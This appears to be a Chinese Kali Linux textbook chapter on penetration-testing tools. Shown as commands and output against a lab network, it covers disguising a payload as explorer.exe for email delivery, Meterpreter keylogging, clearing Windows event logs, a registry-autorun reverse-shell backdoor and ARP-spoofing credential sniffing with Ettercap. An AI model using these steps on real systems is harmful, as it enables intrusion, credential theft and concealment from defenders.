標籤:ase pen 擷取 writing host generated encoding proc Owner
社交工程學工具包(SET)是一個開源的、Python驅動的社交工程學滲透測試工具。這套工具包由David Kenned設計,而且已經成為業界部署實施社交工程學攻擊的標準。SET利用人們的好奇心、信任、貪婪及一些愚蠢的錯誤,攻擊人們自身存在的弱點。使用SET可以傳遞攻擊載荷到目標系統,收集目標系統資料,建立持久後門,進行中間人攻擊等。本節將介紹社交工程學工具包的使用。
7.3.1 啟動社交工程學工具包
使用社交工程學工具包之前,需要啟動該工具。具體操作步驟如下所示。
(1)啟動SET。在終端執行如下所示的命令:
[email protected]:~# setoolkit
或者在案頭上依次選擇“應用程式”|Kali Linux|“漏洞利用工具集”|Social Engineering Toolkit|setoolkit命令,將自動開啟一個顯示setoolkit命令啟動並執行終端。
執行以上命令後,將輸出如下所示的資訊:
[-] New set_config.py file generated on: 2014-05-06 18:05:41.766123[-] Verifying configuration update…[*] Update verified, config timestamp is: 2014-05-06 18:05:41.766123[*] SET is using the new config, no need to restartCopyright 2013, The Social-Engineer Toolkit (SET) by TrustedSec, LLCAll rights reserved.Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOTLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHTOWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOTLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANYTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OFTHIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well.Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application.Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where creditis due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you eversee the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Authorholds the right to refuse the hug or the beer.The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that arenot authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hittingyes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.Do you agree to the terms of service [y/n]:
輸出的資訊詳細的介紹了SET。該資訊在第一次運行時,才會顯示。在該介面接受這部分資訊後,才可進行其他動作。此時輸入y,將顯示如下所示的資訊:
以上顯示了社交工程學工具包的建立者、版本、代號及菜單資訊。此時可以根據自己的需要,選擇相應的編號進行操作。
(2)這裡選擇攻擊社交工程學,在菜單中的編號為1,所以在set>後面輸入1,將顯示如下所示的資訊:
set> 1 Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs. Join us on irc.freenode.net in channel #setoolkit The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.comSelect from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) SMS Spoofing Attack Vector 8) Wireless Access Point Attack Vector 9) QRCode Generator Attack Vector 10) Powershell Attack Vectors 11) Third Party Modules 99) Return back to the main menu.set>
以上資訊顯示了攻擊社交工程學的菜單選項,這時就可以選擇攻擊工程學的類型,然後進行攻擊。
(3)這裡選擇建立一個攻擊載荷和監聽器,輸入編號4,如下所示:
輸出的資訊顯示了可產生的所有攻擊載荷,此時根據自己的目標系統選擇相應的攻擊載荷。
(4)本例中攻擊的目標系統為Windows XP 32位,所以這裡選擇編號2。如下所示:
set:payloads> 2Select one of the below, ‘backdoored executable‘ is typically the best. However,most still get picked up by AV. You may need to do additional packing/cryptingin order to get around basic AV detection. 1) shikata_ga_nai 2) No Encoding 3) Multi-Encoder 4) Backdoored Executable
輸出的資訊顯示了擷取基於AV攻擊的幾種方法。
(5)這裡選擇第4種,輸入編號4,如下所示:
輸出的資訊顯示了設定社交工程學的一個過程,在該過程中將指定的IP地址與連接埠進行了綁定,並且開啟了一個handler。這裡將IP地址與連接埠進行綁定,是因為一個主機上可能存在多個網卡,但是連接埠號碼是不變的。這樣啟動監聽器後攻擊主機將等待被滲透攻擊的系統來串連,並負責處理這些網路連接。
7.3.2 傳遞攻擊載荷給目標系統
攻擊載荷(Payload)指的是使用者期望目標系統在被滲透攻擊之後執行的代碼。在Metasploit架構中可以自由地選擇、傳送和植入。例如,反彈式Shell是一種從目標主機到攻擊主機建立網路連接,並提供命令列Shell的攻擊載荷,而Bind Shell攻擊載荷則在目標系統上將命令列Shell綁定到一個開啟的監聽連接埠,攻擊者可以串連這些連接埠來取得Shell互動。攻擊載荷也可能是簡單的在目標系統上執行一些命令,如添加使用者帳號等。下面將介紹建立攻擊載荷給目標系統的方法。
傳遞攻擊載荷給目標系統。具體操作步驟如下所示。
(1)社交工程學工具預設安裝在/usr/share/set下,在該目錄中有一個EXE檔案,名為payload.exe。在滲透測試時為了避免被目標主機使用者發現,建議修改該檔案名稱,然後再發送給其他人。發送給其他人的方法很多,如郵件和儲存在優盤等。首先切換到/usr/share/set目錄中,查看該目錄下的檔案。執行命令如下所示:
從以上內容中可以看到有一個名為payload.exe的檔案。接下來可以修改該檔案的名為explorer.exe,然後發送給其他人。
(2)修改payload.exe檔案名稱。執行命令如下所示:
從以上內容可以看到,目前只有一個名為explorer.exe檔案。
(3)將該檔案傳遞給其他人。如果使用郵件的形式傳遞,需要將該檔案進行壓縮。因為郵件不支援發送EXE檔案。可以使用ZIP命令壓縮該檔案,如下所示:
[email protected]:/usr/share/set# zip healthfiles explorer.exe adding: explorer.exe (deflated 88%)
從輸入內容可以看到,explorer.exe檔案被成功壓縮。此時,就可以通過郵件的形式發送給其他人。當該內容被目標系統中的使用者開啟後,將會與攻擊者建立一個活躍的會話。如下所示:
msf exploit(handler) >[*] Sending stage (769024 bytes) to 192.168.41.146[*] Meterpreter session 1 opened (192.168.41.234:443 -> 192.168.41.146:2126) at 2014-05-06 19:25:43 +0800
看到以上內容,表示目標系統與攻擊者成功建立了會話。現在,攻擊者就可以在目標系統上做自己想要做的事。
7.3.3 收集目標系統資料
在前面介紹了將攻擊載荷傳遞給目標系統,並成功建立會話。當成功建立會話後,攻擊者可以從目標系統中收集其資料。收集目標系統的資料,使使用者儘可能使用這些資訊做進一步滲透攻擊。下面將介紹收集目標系統的資料。收集目標系統資料的具體操作步驟如下所示。
(1)啟用Meterpreter會話。執行命令如下所示:
msf exploit(handler) > sessions -i 1[*] Starting interaction with 1…
(2)開啟鍵盤記錄器。執行命令如下所示:
meterpreter > keyscan_startStarting the keystroke sniffer…
(3)收集目標系統中的資料。執行命令如下所示:
meterpreter > keyscan_dumpDumping captured keystrokes… <Return> <Return> <Return> <N1> <Return> 2 <Return> 34
從輸出的資訊可以看到,目標系統執行過斷行符號鍵、輸入了數字1、2和34等。
7.3.4 清除蹤跡
當攻擊者入侵目標系統後,做的任何操作都可能會被記錄到目標系統的記錄檔中。為了不被目標系統所發現,清除蹤跡是非常重要的工作。因為如果被發現,可能帶來很大的麻煩。現在使用者不用擔心這個問題了,因為Metasploit提供了一種方法可以很容易的來清除所有蹤跡。下面將介紹使用Metasploit清除蹤跡的方法。使用Metasploit清除蹤跡的具體操作步驟如下所示。
(1)啟用Meterpreter會話。執行命令如下所示:
msf exploit(handler) > sessions -i 1[*] Starting interaction with 1…
(2)在Metasploit中的irb命令可以清除蹤跡。執行命令如下所示:
meterpreter > irb[*] Starting IRB shell[*] The ‘client‘ variable holds the meterpreter client>>
輸出的資訊中看到>>提示符,表示成功運行了irb命令。
(3)設定想要刪除的日誌。常用的日誌選項如下所示:
- log = client.sys.eventlog.open(‘system‘);
- log = client.sys.eventlog.open(‘security‘);
- log = client.sys.eventlog.open(‘application‘);
- log = client.sys.eventlog.open(‘directory service‘);
- log = client.sys.eventlog.open(‘dns server‘);
- log = client.sys.eventlog.open(‘file replication service‘)。
這裡清除所有日誌。執行命令如下所示:
>> log = client.sys.eventlog.open(‘system‘)>> log = client.sys.eventlog.open(‘security‘)>> log = client.sys.eventlog.open(‘application‘)>> log = client.sys.eventlog.open(‘directory service‘)>> log = client.sys.eventlog.open(‘dns server‘)>> log = client.sys.eventlog.open(‘file replication service‘)
執行以上命令後,表示指定了要清除的日誌。接下來需要執行log.clear命令才可以清除記錄檔。執行命令如下所示:
>> log.clear
執行以上命令後,將會隱藏使用者的蹤跡。
7.3.5 建立持久後門
當成功擷取目標系統的存取權限後,需要尋找方法來恢複與目標主機的串連,而無需再進入目標系統。如果目標使用者破壞了該串連,例如重新啟動電腦,此時使用後門將允許自動重新與目標系統建立串連。為了後續滲透方便,所以需要建立一個後門。這樣,即使串連被中斷,也不會影響工作。下面將介紹建立持久後門。建立持久後門的具體操作步驟如下所示。
(1)啟用Meterpreter會話。執行命令如下所示:
msf exploit(handler) > sessions -i 1[*] Starting interaction with 1…meterpreter >
(2)建立持久後門之前,先查看下它的協助檔案。執行命令如下所示:
以上資訊顯示了持久後門的一些選項。使用不同的選項,來設定後門。
(3)建立一個持久後門。執行命令如下所示:
meterpreter > run persistence -U -A -i 10 - 8090 -r 192.168.41.234[*] Running Persistance Script[*] Resource file for cleanup created at /root/.msf4/logs/persistence/AA-886OKJM26FSW_20140507.2857/AA-886OKJM26FSW_20140507.2857.rc[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.41.234 LPORT=4444[*] Persistent agent script is 148405 bytes long[+] Persistent Script written to C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp[+] Multi/Handler started![*] Executing script C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs[+] Agent executed with PID 1612[*] Installing into autorun as HKCU\Software\Microsoft\WindowsCurrentVersion\Run\mERugsIe[+] Installed into autorun as HKCU\Software\Microsoft\WindowsCurrentVersion\Run\mERugsIe
輸出的資訊顯示了建立後門的一個過程。在以上資訊中可以看到,在目標系統中建立了一個持久指令碼,儲存在C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs。並且,該指令碼會自動在目標主機上運行,此時將會建立第二個Meterpreter會話。如下所示:
meterpreter > [*] Meterpreter session 2 opened (192.168.41.234:443 -> 192.168.41.146:1032) at 2014-05-07 16:25:47 +0800
看到以上的輸出資訊,表示該持久後門已建立成功。
7.3.6 中間人攻擊(MITM)
中間人攻擊(Man in the Middle Attack,簡稱“MITM攻擊”)是一種間接的入侵攻擊。這種攻擊模式是通過各種技術手段,將受入侵者控制的一台電腦虛擬放置在網路連接中的兩台通訊電腦之間,這台電腦就稱為“中間人”。下面將介紹使用Ettercap工具實現中間人攻擊。
1. 存在的漏洞
前面介紹了中間人攻擊是通過使用各種技術手段對目標主機進行攻擊的。主機既然被攻擊,則說明在傳輸資料的過程中存在有漏洞。接下來就分析一下所存在的漏洞。
當主機之間進行通訊時,通過封裝資料包進而轉寄到目標主機上。轉寄的資料包中包括源IP地址、目標IP地址及MAC地址。但是當主機在自己的緩衝表中找不到目標主機的地址時,它會發送ARP廣播,在此過程中就可能被其他攻擊者冒充目標主機。
2. ARP欺騙原理
實施中間人攻擊時,攻擊者常考慮的方式是ARP欺騙或DNS欺騙等。下面以常見ARP欺騙為例,分別介紹一下ARP欺騙原理。
一般情況下,ARP欺騙並不是使網路無法正常通訊,而是通過冒充網關或其他主機使得到達網關或主機的資料流通過攻擊主機進行轉寄。通過轉寄流量可以對流量進行控制和查看,從而控制流程量或得到機密資訊。ARP欺騙主機的流程7.2所示。
7.2所示,當主機A和主機B之間通訊時,如果主機A在自己的ARP緩衝表中沒有找到主機B的MAC地址時,主機A將會向整個區域網路中所有電腦發送ARP廣播,廣播後整個區域網路中的電腦都收到了該資料。這時候,主機C響應主機A,說我是主機B,我的MAC地址是XX-XX-XX-XX-XX-XX,主機A收到地址後就會重新更新自己的緩衝表。當主機A再次與主機B通訊時,該資料將被轉寄到攻擊主機(主機C)上,則該資料流會經過主機C轉寄到主機B。
圖7.2 ARP欺騙主機
3. 中間人攻擊
實現中間人攻擊分為兩個階段。第一是通過某種手段去攻擊一台電腦;第二是欺騙主機。這兩個階段工作工程7.3和圖7.4所示。
第一階段:
圖7.3 ARP注入攻擊
在該階段主機B通過ARP注入攻擊的方法以實現ARP欺騙,通過ARP欺騙的方法控制主機A與其他主機間的流量及機密資訊。
第二階段:
在第一個階段攻擊成功後,主機B就可以在這個網路中使用中間人的身份,轉寄或查看主機A和其他主機間的資料流,7.4所示。
圖7.4 中間人攻擊機制
(1)在這個區域網路中當主機A向主機C發送請求,此時該資料將被發送到主機B上。
(2)主機A發送給主機C的資料流將會經主機B轉寄到主機C上。
(3)主機C收到資料以為是主機A直接發送的。此時主機C將響應主機A的請求,同樣的該資料流將會被主機B轉寄到主機A上。
(4)主機A收到響應後,將登入主機C。這樣主機A登入時的使用者名稱及密碼,將會被主機B查看到。
使用Ettercap工具實現中間人攻擊。具體操作步驟如下所示。
(1)啟動Ettercap工具。執行命令如下所示:
[email protected]:~# ettercap -G
執行以上命令後,將顯示7.5所示的介面。
圖7.5 Ettercap啟動介面
(2)該介面是Ettercap工具的初始介面。接下來通過抓包的方法實現中間人攻擊。在功能表列中依次選擇Sniff|Unified sniffing命令或按下Shift+U按鍵組合,將顯示7.6所示的介面。
圖7.6 啟動嗅探
(3)在該介面單擊Unified sniffing命令後,將顯示7.7所示的介面。
圖7.7 選擇介面
(4)在該介面選擇網路介面。這裡選擇eth0,然後單擊“確定”按鈕,將顯示7.8所示的介面。
圖7.8 啟動介面介面
(5)啟動介面後,就可以掃描所有的主機了。在功能表列中依次選擇Hosts|Scan for hosts命令或按下Ctrl+S按鍵組合,7.9所示。
圖7.9 啟動掃描主機
(6)在該介面單擊Scan for hosts命令後,將顯示7.10所示的介面。
圖7.10 掃描主機介面
(7)從該介面輸出的資訊可以看到共掃描到五台主機。如果要查看掃描到主機的資訊,在功能表列中依次選擇Hosts|Hosts list命令或按下H鍵,7.11所示。
圖7.11 開啟主機列表
(8)在該介面單擊Hosts list命令後,將顯示7.12所示的介面。
圖7.12 掃描到的所有主機
(9)該介面顯示了掃描到的五台主機的IP地址和MAC地址。在該介面選擇其中一台主機,作為目標系統。這裡選擇192.168.41.151主機,然後單擊Add to Target 1按鈕。添加目標系統後開始嗅探資料包,在功能表列中依次選擇Start|Start sniffing命令或按下Ctrl+W按鍵組合,7.13所示。
圖7.13 開始掃描
(10)啟動嗅探後,通過使用ARP注入攻擊的方法擷取到目標系統的重要訊息。啟動ARP注入攻擊,在功能表列中依次選擇Mitm|Arp poisonig…命令,7.14所示。
圖7.14 Arp注入攻擊圖
(11)單擊Arp poisonig命令後,將顯示7.15所示的介面。在該介面選擇攻擊的選項,這裡選擇Sniff remote connections。然後單擊“確定”按鈕,將顯示7.16所示的介面。
圖7.15 攻擊選項
圖7.16 攻擊介面
(12)此時,當某個使用者登入192.168.41.151主機時,它的敏感資訊將會被傳遞給攻擊者。本例中捕獲到的敏感資訊7.17所示。
圖7.17 捕獲到的敏感資訊
(13)從該介面可以看到,有使用者登入192.168.41.151主機的FTP伺服器了。其使用者名稱為anonymous,密碼為123456。擷取這些資訊後停止嗅探,在功能表列中依次單擊Start|Stop sniffing命令,7.18所示。
圖7.18 停止嗅探
(14)停止嗅探後,還需要停止中間人攻擊。在功能表列中依次單擊Mitm|Stop mitm attack(s)命令,將顯示7.19所示的介面。
圖7.19 停止中間人攻擊
(15)在該介面單擊“確定”按鈕,這樣就成功的完成了中間人攻擊。
Kali-linux使用社交工程學工具包(SET)